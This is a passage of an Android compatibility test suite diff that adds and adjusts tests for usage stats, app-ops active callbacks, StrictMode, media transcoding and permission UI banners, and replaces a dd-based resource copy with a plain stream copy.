+        try (InputStream source = context.getResources().openRawResource(resId);
+             OutputStream target = new FileOutputStream(file)) {
+            FileUtils.copy(source, target);
+        }
+        return file;
+    }
 
-            try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
-                final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
-                final long skip = afd.getStartOffset();
-                final long count = afd.getLength();
-
-                executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s",
-                        source.getAbsolutePath(), skip, count, file.getAbsolutePath()));
-
-                // Force sync to try updating other views
-                executeShellCommand("sync");
-            }
-        } else {
-            final File dir = file.getParentFile();
-            dir.mkdirs();
-            if (!dir.exists()) {
-                throw new FileNotFoundException("Failed to create parent for " + file);
-            }
-            try (InputStream source = context.getResources().openRawResource(resId);
-                    OutputStream target = new FileOutputStream(file)) {
-                FileUtils.copy(source, target);
-            }
+    static File stageFileWithRawText(String rawText, File file) throws IOException {
+        final File dir = file.getParentFile();
+        dir.mkdirs();
+        if (!dir.exists()) {
+            throw new FileNotFoundException("Failed to create parent for " + file);
+        }
+        try (InputStream source = new ByteArrayInputStream(
+                rawText.getBytes(StandardCharsets.UTF_8));
+             OutputStream target = new FileOutputStream(file)) {
+            FileUtils.copy(source, target);
         }
         return file;
     }
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index a20a8f9..c56103c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -259,6 +259,19 @@
 
     @AppModeFull(reason = "No usage events access in instant apps")
     @Test
+    public void testLastTimeVisible_launchActivityShouldBeDetected() throws Exception {
+        mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+        final long startTime = System.currentTimeMillis();
+        launchSubActivity(Activities.ActivityOne.class);
+        final long endTime = System.currentTimeMillis();
+
+        verifyLastTimeVisibleWithinRange(startTime, endTime, mTargetPackage);
+    }
+
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
     public void testLastTimeAnyComponentUsed_launchActivityShouldBeDetected() throws Exception {
         mUiDevice.wakeUp();
         dismissKeyguard(); // also want to start out with the keyguard dismissed.
@@ -311,6 +324,17 @@
         verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
     }
 
+    private void verifyLastTimeVisibleWithinRange(
+            long startTime, long endTime, String targetPackage) {
+        final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats(
+                startTime, endTime);
+        final UsageStats stats = map.get(targetPackage);
+        assertNotNull(stats);
+        final long lastTimeVisible = stats.getLastTimeVisible();
+        assertLessThanOrEqual(startTime, lastTimeVisible);
+        assertLessThanOrEqual(lastTimeVisible, endTime);
+    }
+
     private void verifyLastTimeAnyComponentUsedWithinRange(
             long startTime, long endTime, String targetPackage) {
         final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats(
diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp
index 33e53a5..bd34b7d 100644
--- a/tests/tests/appop/Android.bp
+++ b/tests/tests/appop/Android.bp
@@ -82,7 +82,7 @@
         "libbacktrace",
         "libbase",
         "libbinder",
-        "libbpf",
+        "libbpf_bcc",
         "libbpf_android",
         "libc++",
         "libcgrouprc",
diff --git a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeTest.kt b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
similarity index 85%
rename from tests/tests/appop/src/android/app/appops/cts/ForegroundModeTest.kt
rename to tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
index fc635f2..d6e9f12 100644
--- a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
@@ -33,7 +33,9 @@
 import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
 import android.content.ServiceConnection
 import android.os.IBinder
+import android.os.Process
 import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.AsbSecurityTest
 import android.provider.Settings
 import android.provider.Settings.Global.APP_OPS_CONSTANTS
 import android.support.test.uiautomator.UiDevice
@@ -47,12 +49,14 @@
 import org.junit.Test
 import java.util.concurrent.CompletableFuture
 import java.util.concurrent.TimeUnit.MILLISECONDS
+import java.util.concurrent.TimeoutException
 
 private const val TEST_SERVICE_PKG = "android.app.appops.cts.appthatcanbeforcedintoforegroundstates"
 private const val TIMEOUT_MILLIS = 45000L
+private const val EXPECTED_TIMEOUT_MILLIS = 5000L
 
 @AppModeFull(reason = "This test connects to other test app")
-class ForegroundModeTest {
+class ForegroundModeAndActiveTest {
     private var previousAppOpsConstants: String? = null
 
     private val instrumentation = InstrumentationRegistry.getInstrumentation()
@@ -361,6 +365,55 @@
         gotCallback.get(TIMEOUT_MILLIS, MILLISECONDS)
     }
 
+    @Test
+    @AsbSecurityTest(cveBugId = [208662370])
+    fun activeNotChangedAfterMultipleStartsUidModeChangeAndOneStop() {
+        val finishCallback = CompletableFuture<Unit>()
+        val startCallback = CompletableFuture<Unit>()
+        runWithShellPermissionIdentity {
+            appopsManager.startWatchingActive(arrayOf(OPSTR_FINE_LOCATION), context.mainExecutor) {
+                op, uid, pkgName, active ->
+                if (pkgName == context.packageName) {
+                    if (active) {
+                        startCallback.complete(Unit)
+                    } else {
+                        finishCallback.complete(Unit)
+                    }
+                }
+            }
+        }
+
+        // Start three times
+        val numStarts = 3
+        for (i in 1..numStarts) {
+            appopsManager.startOp(OPSTR_FINE_LOCATION, Process.myUid(), context.packageName, null,
+                null)
+        }
+
+        // Wait for start
+        startCallback.get(TIMEOUT_MILLIS, MILLISECONDS)
+        withTopActivity {
+            // After moving to foreground, finish three times. We expect no callback until the third
+            for (i in 1..numStarts) {
+                context.getSystemService(AppOpsManager::class.java)!!.finishOp(OPSTR_FINE_LOCATION,
+                    Process.myUid(), context.packageName, null)
+                val exception = try {
+                    finishCallback.get(EXPECTED_TIMEOUT_MILLIS, MILLISECONDS)
+                    null
+                } catch (e: TimeoutException) {
+                    e
+                }
+                if (i < numStarts) {
+                    Assert.assertNotNull("Got an active=false callback, but did not expect to",
+                        exception)
+                } else {
+                    Assert.assertNull("Expected to get an active=false callback after 3 stops",
+                        exception)
+                }
+            }
+        }
+    }
+
     @After
     fun cleanup() {
         foregroundControlService.cleanup()
diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp
index 891ebc3..eed4fc3 100644
--- a/tests/tests/libcoreapievolution/Android.bp
+++ b/tests/tests/libcoreapievolution/Android.bp
@@ -30,6 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-art",
     ],
 }
diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp
index 58c388c..3febb32 100644
--- a/tests/tests/libcorefileio/Android.bp
+++ b/tests/tests/libcorefileio/Android.bp
@@ -30,6 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-art",
     ],
 }
diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp
index 44a997a..98684b2 100644
--- a/tests/tests/libcorelegacy22/Android.bp
+++ b/tests/tests/libcorelegacy22/Android.bp
@@ -26,6 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-art",
     ],
 }
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java b/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java
index d5d01c8..0df3b1b 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java
@@ -162,6 +162,8 @@
             }
         }
 
+        Preconditions.assertTestFileExists(mediaName);
+
         File playbackOutput = new File(WorkDir.getTopDir(), "PlaybackTestResult.txt");
         Writer output = new BufferedWriter(new FileWriter(playbackOutput, true));
 
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java b/tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java
new file mode 100644
index 0000000..6fc2b8a
--- /dev/null
+++ b/tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediastress.cts;
+
+import java.io.File;
+
+import junit.framework.Assert;
+
+/**
+ * Static methods used to validate preconditions in the media CTS suite
+ * to simplify failure diagnosis.
+ */
+
+public final class Preconditions {
+    private static final String TAG = "Preconditions";
+
+    public static void assertTestFileExists(String pathName) {
+        File testFile = new File(pathName);
+        Assert.assertTrue("Test Setup Error, missing file: " + pathName, testFile.exists());
+    }
+
+    private Preconditions() {}
+}
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4
new file mode 100644
index 0000000..41f6c22
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4
new file mode 100644
index 0000000..7211fec1
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
index 33bb8b7..a88f81c 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
@@ -91,9 +91,9 @@
 
     // Default setting for transcoding to H.264.
     private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final int BIT_RATE = 20000000;            // 20Mbps
-    private static final int WIDTH = 1920;
-    private static final int HEIGHT = 1080;
+    private static final int BIT_RATE = 4000000;            // 4Mbps
+    private static final int WIDTH = 720;
+    private static final int HEIGHT = 480;
 
     // Threshold for the psnr to make sure the transcoded video is valid.
     private static final int PSNR_THRESHOLD = 20;
@@ -151,9 +151,9 @@
         androidx.test.InstrumentationRegistry.registerInstance(
                 InstrumentationRegistry.getInstrumentation(), new Bundle());
 
-        // Setup source HEVC file uri.
-        mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_30Frames,
-                "Video_HEVC_30Frames.mp4");
+        // Setup default source HEVC 480p file uri.
+        mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_480p_30Frames,
+                "Video_HEVC_480p_30Frames.mp4");
 
         // Setup source AVC file uri.
         mSourceAVCVideoUri = resourceToUri(mContext, R.raw.Video_AVC_30Frames,
@@ -344,7 +344,7 @@
     // Tests transcoding to a uri in res folder and expects failure as test could not write to res
     // folder.
     public void testTranscodingToResFolder() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         // Create a file Uri:  android.resource://android.media.cts/temp.mp4
@@ -358,7 +358,7 @@
 
     // Tests transcoding to a uri in internal cache folder and expects success.
     public void testTranscodingToCacheDir() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
@@ -372,7 +372,7 @@
 
     // Tests transcoding to a uri in internal files directory and expects success.
     public void testTranscodingToInternalFilesDir() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
@@ -383,6 +383,14 @@
                 TranscodingSession.RESULT_SUCCESS);
     }
 
+    public void testHevcTranscoding720PVideo30FramesWithoutAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_720p_30Frames,
+                "Video_HEVC_720p_30Frames.mp4"), false /* testFileDescriptor */);
+    }
+
     public void testAvcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
         if (shouldSkip()) {
             return;
@@ -566,7 +574,7 @@
     }
 
     public void testCancelTranscoding() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         Log.d(TAG, "Starting: testCancelTranscoding");
@@ -657,7 +665,7 @@
     }*/
 
     public void testTranscodingProgressUpdate() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -709,7 +717,7 @@
     }
 
     public void testAddingClientUids() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -786,27 +794,6 @@
         return videoFormat;
     }
 
-    private boolean isVideoTranscodingSupported(Uri fileUri) throws IOException {
-        MediaFormat sourceFormat = getVideoTrackFormat(fileUri);
-        if (sourceFormat != null) {
-            // Since destination format is not available, we assume width, height and
-            // frame rate same as source format, and mime as AVC for destination format.
-            MediaFormat destinationFormat = new MediaFormat();
-            destinationFormat.setString(MediaFormat.KEY_MIME, MIME_TYPE);
-            destinationFormat.setInteger(MediaFormat.KEY_WIDTH,
-                    sourceFormat.getInteger(MediaFormat.KEY_WIDTH));
-            destinationFormat.setInteger(MediaFormat.KEY_HEIGHT,
-                    sourceFormat.getInteger(MediaFormat.KEY_HEIGHT));
-            if (sourceFormat.containsKey(MediaFormat.KEY_FRAME_RATE)) {
-                destinationFormat.setInteger(MediaFormat.KEY_FRAME_RATE,
-                        sourceFormat.getInteger(MediaFormat.KEY_FRAME_RATE));
-            }
-            return isFormatSupported(sourceFormat, false)
-                    && isFormatSupported(destinationFormat, true);
-        }
-        return false;
-    }
-
     private boolean isFormatSupported(MediaFormat format, boolean isEncoder) {
         String mime = format.getString(MediaFormat.KEY_MIME);
         MediaCodec codec = null;
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 0b5ed0d..54caf6b 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -77,6 +77,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
@@ -147,6 +148,63 @@
     }
 
     @Test
+    public void testThreadBuilder_detectUnbufferedIo() throws Exception {
+        StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
+            .penaltyLog()
+            .detectUnbufferedIo()
+            .build();
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder(policy).build());
+
+        final File test = File.createTempFile("foo", "bar");
+        inspectViolation(
+            () -> {
+                writeUnbuffered(test);
+            },
+            info -> {
+                assertThat(info.getViolationDetails()).isNull();
+                assertThat(info.getStackTrace()).contains("UnbufferedIoViolation");
+            });
+    }
+
+    @Test
+    public void testThreadBuilder_permitUnbufferedIo() throws Exception {
+        StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
+            .penaltyLog()
+            .permitUnbufferedIo()
+            .build();
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder(policy).build());
+
+        final File test = File.createTempFile("foo", "bar");
+        inspectViolation(
+            () -> {
+                writeUnbuffered(test);
+            },
+            info -> {
+                assertThat(info).isNull();
+            });
+    }
+
+    private void writeUnbuffered(File file) throws Exception {
+        if (file.exists()) {
+            file.delete();
+        }
+
+        try (BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(file))) {
+            for (int i = 0; i < 11; i++) {
+                out.write(1);
+                out.write(2);
+                out.write(3);
+                out.write(4);
+                out.flush();
+            }
+        } finally {
+            if (file.exists()) {
+                file.delete();
+            }
+        }
+    }
+
+    @Test
     public void testUnclosedCloseable() throws Exception {
         //clean before test
         System.gc();
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 5ff702f..84470cd 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -5638,6 +5638,10 @@
     <!-- Allows input events to be monitored. Very dangerous!  @hide -->
     <permission android:name="android.permission.MONITOR_INPUT"
                 android:protectionLevel="signature|recents" />
+    <!-- Allows the use of FLAG_SLIPPERY, which permits touch events to slip from the current
+         window to the window where the touch currently is on top of.  @hide -->
+    <permission android:name="android.permission.ALLOW_SLIPPERY_TOUCHES"
+                android:protectionLevel="signature|recents" />
     <!--  Allows the caller to change the associations between input devices and displays.
         Very dangerous! @hide -->
     <permission android:name="android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY"
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index 4fd9b51..e249fe3 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -47,6 +47,7 @@
         ":CtsUsePermissionApp30",
         ":CtsUsePermissionApp30WithBackground",
         ":CtsUsePermissionApp30WithBluetooth",
+        ":CtsUsePermissionApp31",
         ":CtsUsePermissionAppLatest",
         ":CtsUsePermissionAppLatestNone",
         ":CtsUsePermissionAppWithOverlay",
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index 1536d58..2342b6a 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -54,6 +54,7 @@
         <option name="push" value="CtsUsePermissionApp30.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30.apk" />
         <option name="push" value="CtsUsePermissionApp30WithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBackground.apk" />
         <option name="push" value="CtsUsePermissionApp30WithBluetooth.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBluetooth.apk" />
+        <option name="push" value="CtsUsePermissionApp31.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp31.apk" />
         <option name="push" value="CtsUsePermissionAppLatest.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatest.apk" />
         <option name="push" value="CtsUsePermissionAppLatestNone.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestNone.apk" />
         <option name="push" value="CtsUsePermissionAppWithOverlay.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppWithOverlay.apk" />
diff --git a/tests/tests/permission3/UsePermissionApp31/Android.bp b/tests/tests/permission3/UsePermissionApp31/Android.bp
new file mode 100644
index 0000000..48a2d4f
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp31/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsUsePermissionApp31",
+    srcs: [
+        ":CtsUsePermissionAppSrc",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+    target_sdk_version: "31",
+    min_sdk_version: "31",
+}
diff --git a/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml
new file mode 100644
index 0000000..f6d9b29
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.CAMERA" />
+    <application>
+        <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
+        <activity android:name=".FinishOnCreateActivity" android:exported="true" />
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 901cc35..49646f4 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -158,6 +158,10 @@
         waitForIdle()
     }
 
+    protected fun clickPermissionControllerUi(selector: BySelector, timeoutMillis: Long = 20_000) {
+        click(selector.pkg(context.packageManager.permissionControllerPackageName), timeoutMillis)
+    }
+
     protected fun pressBack() {
         uiDevice.pressBack()
         waitForIdle()
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 78675bd..6c69a65 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -52,6 +52,8 @@
         const val APP_APK_PATH_28 = "$APK_DIRECTORY/CtsUsePermissionApp28.apk"
         const val APP_APK_PATH_29 = "$APK_DIRECTORY/CtsUsePermissionApp29.apk"
         const val APP_APK_PATH_30 = "$APK_DIRECTORY/CtsUsePermissionApp30.apk"
+        const val APP_APK_PATH_31 = "$APK_DIRECTORY/CtsUsePermissionApp31.apk"
+
         const val APP_APK_PATH_30_WITH_BACKGROUND =
                 "$APK_DIRECTORY/CtsUsePermissionApp30WithBackground.apk"
         const val APP_APK_PATH_30_WITH_BLUETOOTH =
@@ -449,7 +451,7 @@
             if (isWatch) {
                 click(By.text(permissionLabel), 40_000)
             } else {
-                click(By.text(permissionLabel))
+                clickPermissionControllerUi(By.text(permissionLabel))
             }
 
             val wasGranted = if (isAutomotive) {
diff --git a/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt
new file mode 100644
index 0000000..37e9d41
--- /dev/null
+++ b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts
+
+import android.content.Intent
+import android.hardware.SensorPrivacyManager
+import android.hardware.SensorPrivacyManager.Sensors.CAMERA
+import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE
+import android.location.LocationManager
+import android.os.Build
+import android.provider.DeviceConfig
+import android.provider.Settings
+import android.support.test.uiautomator.By
+import androidx.test.filters.SdkSuppress
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assume
+import org.junit.Before
+import org.junit.Test
+
+/**
+ * Banner card display tests on sensors being blocked
+ */
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+class SensorBlockedBannerTest : BaseUsePermissionTest() {
+    companion object {
+        const val LOCATION = -1
+        const val WARNING_BANNER_ENABLED = "warning_banner_enabled"
+    }
+
+    val sensorPrivacyManager = context.getSystemService(SensorPrivacyManager::class.java)!!
+    val locationManager = context.getSystemService(LocationManager::class.java)!!
+    private val originalEnabledValue = callWithShellPermissionIdentity {
+        DeviceConfig.getString(DeviceConfig.NAMESPACE_PRIVACY,
+                WARNING_BANNER_ENABLED, false.toString())
+    }
+
+    private val permToLabel = mapOf(CAMERA to "privdash_label_camera",
+            MICROPHONE to "privdash_label_microphone",
+            LOCATION to "privdash_label_location")
+
+    private val permToTitle = mapOf(CAMERA to "blocked_camera_title",
+            MICROPHONE to "blocked_microphone_title",
+            LOCATION to "blocked_location_title")
+
+    @Before
+    fun setup() {
+        Assume.assumeFalse(isTv)
+        // TODO(b/203784852) Auto will eventually support the blocked sensor banner, but there won't
+        // be support in T or below
+        Assume.assumeFalse(isAutomotive)
+        installPackage(APP_APK_PATH_31)
+        runWithShellPermissionIdentity {
+            DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+                WARNING_BANNER_ENABLED, true.toString(), false)
+        }
+    }
+
+    @After
+    fun restoreWarningBannerState() {
+        runWithShellPermissionIdentity {
+            DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+                    WARNING_BANNER_ENABLED, originalEnabledValue, false)
+        }
+    }
+
+    private fun navigateAndTest(sensor: Int) {
+        val permLabel = permToLabel.getOrDefault(sensor, "Break")
+        val intent = Intent(Settings.ACTION_PRIVACY_SETTINGS)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+        context.startActivity(intent)
+        click(By.text(getPermissionControllerString("app_permission_manager")))
+        click(By.text(getPermissionControllerString(permLabel)))
+        val bannerTitle = permToTitle.getOrDefault(sensor, "Break")
+        waitFindObject(By.text(getPermissionControllerString(bannerTitle)))
+        pressBack()
+        pressBack()
+        pressBack()
+    }
+
+    private fun runSensorTest(sensor: Int) {
+        val blocked = isSensorPrivacyEnabled(sensor)
+        if (!blocked) {
+            setSensor(sensor, true)
+        }
+        navigateAndTest(sensor)
+        if (!blocked) {
+            setSensor(sensor, false)
+        }
+    }
+
+    @Test
+    fun testCameraCardDisplayed() {
+        Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(CAMERA))
+        runSensorTest(CAMERA)
+    }
+
+    @Test
+    fun testMicCardDisplayed() {
+        Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(MICROPHONE))
+        runSensorTest(MICROPHONE)
+    }
+
+    @Test
+    fun testLocationCardDisplayed() {
+        runSensorTest(LOCATION)
+    }
+
+    private fun setSensor(sensor: Int, enable: Boolean) {
+        if (sensor == LOCATION) {
+            runWithShellPermissionIdentity {
+                locationManager.setLocationEnabledForUser(!enable,
+                    android.os.Process.myUserHandle())
+                if (enable) {
+                    try {
+                        waitFindObjectOrNull(By.text("CLOSE"))?.click()
+                    } catch (e: Exception) {
+                        // Do nothing, warning didn't show up so test can proceed
+                    }
+                }
+            }
+        } else {
+            runWithShellPermissionIdentity {
+                sensorPrivacyManager.setSensorPrivacy(SensorPrivacyManager.Sources.OTHER,
+                    sensor, enable)
+            }
+        }
+    }
+
+    private fun isSensorPrivacyEnabled(sensor: Int): Boolean {
+        return if (sensor == LOCATION) {
+            callWithShellPermissionIdentity {
+                !locationManager.isLocationEnabled()
+            }
+        } else {
+            callWithShellPermissionIdentity {
+                sensorPrivacyManager.isSensorPrivacyEnabled(sensor)
+            }
+        }
+    }
+}
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index a98ea1f..a638561 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -38,7 +38,6 @@
         "cts",
         "general-tests",
         "mts-permission",
-        "sts",
     ],
 
     data: [
diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
index 90d05f9..eb17122 100644
--- a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
+++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
@@ -20,7 +20,6 @@
      xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.app.role.cts.app">
 
